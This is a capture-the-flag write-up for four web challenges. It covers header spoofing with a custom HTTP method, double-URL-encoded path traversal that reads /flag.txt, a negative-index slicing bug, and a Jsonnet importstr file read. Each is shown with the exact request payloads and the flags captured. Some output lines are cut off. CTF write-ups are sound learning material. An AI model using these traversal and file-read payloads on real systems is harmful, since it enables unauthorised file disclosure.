solved by hartmannsyg
Flag Holding
We are given a website:
http://18.184.219.56:8080/ |
We then set the Referer header to http://flagland.internal/:
Referer: http://flagland.internal/ |
1 | <div class="msg" style=""> |
We create a url parameter called secret
: http://18.184.219.56:8080?secret=
1 | <div class="msg" style=""> Incorrect secret. <!-- hint: secret is ____ which is the name of the protocol that both this server and your browser agrees on... --> </div> |
the protocol is http, so http://18.184.219.56:8080?secret=http with the header gives us:
1 | <div class="msg" style=""> |
We have to use a custom http method FLAG
instead of GET
:
1 | <div class="msg" style=""> |
(btw I used https://hoppscotch.io/ for all this since that way I don’t have to code out things)
Novel Reader
We see that there is a /read
function:
1 | GET /api/read/public/A-Happy-Tale.txt |
We want to read /flag.txt, but our /read
call must evaluate to a /public
directory (or at least it must start with /public
):
43 | def readNovel(name): name = unquote(name) |
So instead of doing http://3.64.250.135:9000/api/read/public/../../../../flag.txt
, we can double url encode the ../
to become %252e%252e%252f
GET /api/read/public/%252e%252e%252f%252e%252e%252fflag.txt |
1 | { "msg": "MAPNA{uhhh-1-7h1nk-1-f0r607-70-ch3ck-cr3d17>0-4b331d4b}\n\n... Charge your account to unlock more of the novel!", "success": true } |
Novel Reader 2
We can use the same double url encoding trick to read A-Secret-Tale.txt
, but we seem to not have enough words, even when we charge the number of words to 11 (remember to update the Cookie header if you are writing code to send the request)
1 | { "msg": "Once a upon time there was a flag. The flag was... Charge your account to unlock more of the novel!", "success": true } |
We look at the specific line of code that is blocking us from accessing the flag:
43 | def readNovel(name): name = unquote(name) if(not name.startswith('public/')): return {'success': False, 'msg': 'You can only read public novels!'}, 400 buf = readFile(name).split(' ') |
Normally, what this would do is trim the buf
to only include words 0
to session['words_balance']
.
However, python allows for negative indexing as well, where -1
represents the last element:
1 | '0123456789' a= |
So if we deduct and deduct until our words_balance
is -1
, we get:
1 | { "msg": "Once a upon time there was a flag. The flag was read like this: MAPNA{uhhh-y0u-607-m3-4641n-3f4b38571}.... Charge your account to unlock more of the novel!", "success": true } |
(remember to update the Cookie header if you are writing code to send the request)
Advanced JSON Cutifier
My homework was to write a JSON beautifier. Just Indenting JSON files was too boring that’s why I decided to add some features to my project using a popular (More than 1k stars on GitHub!! ) library to make my project more exciting.
Important: You can’t read any file other than /flag.txt on the remote environment.
we see that 1335+2
gets evaluated to 1337
. So it is probably something like a template injection? After a bit of fiddling (actually like half a day worth of fiddling), I tried:
1 | {"wow so advanced!!": import "os"} |
and got:
1 | RUNTIME ERROR: couldn't open import "os": no match locally or in the Jsonnet library paths |
We finally got the name of the library (Jsonnet). I then searched up how to read file contents using Jsonnet and got this github issue: https://github.com/google/jsonnet/issues/238
In there, they said something like:
1 | std.assertEqual(importstr "lib/some_file.txt", "Hello World!\n") && |
So I tried importstr
1 | {"wow so advanced!!": importstr "flag.txt"} |
and got
1 | { |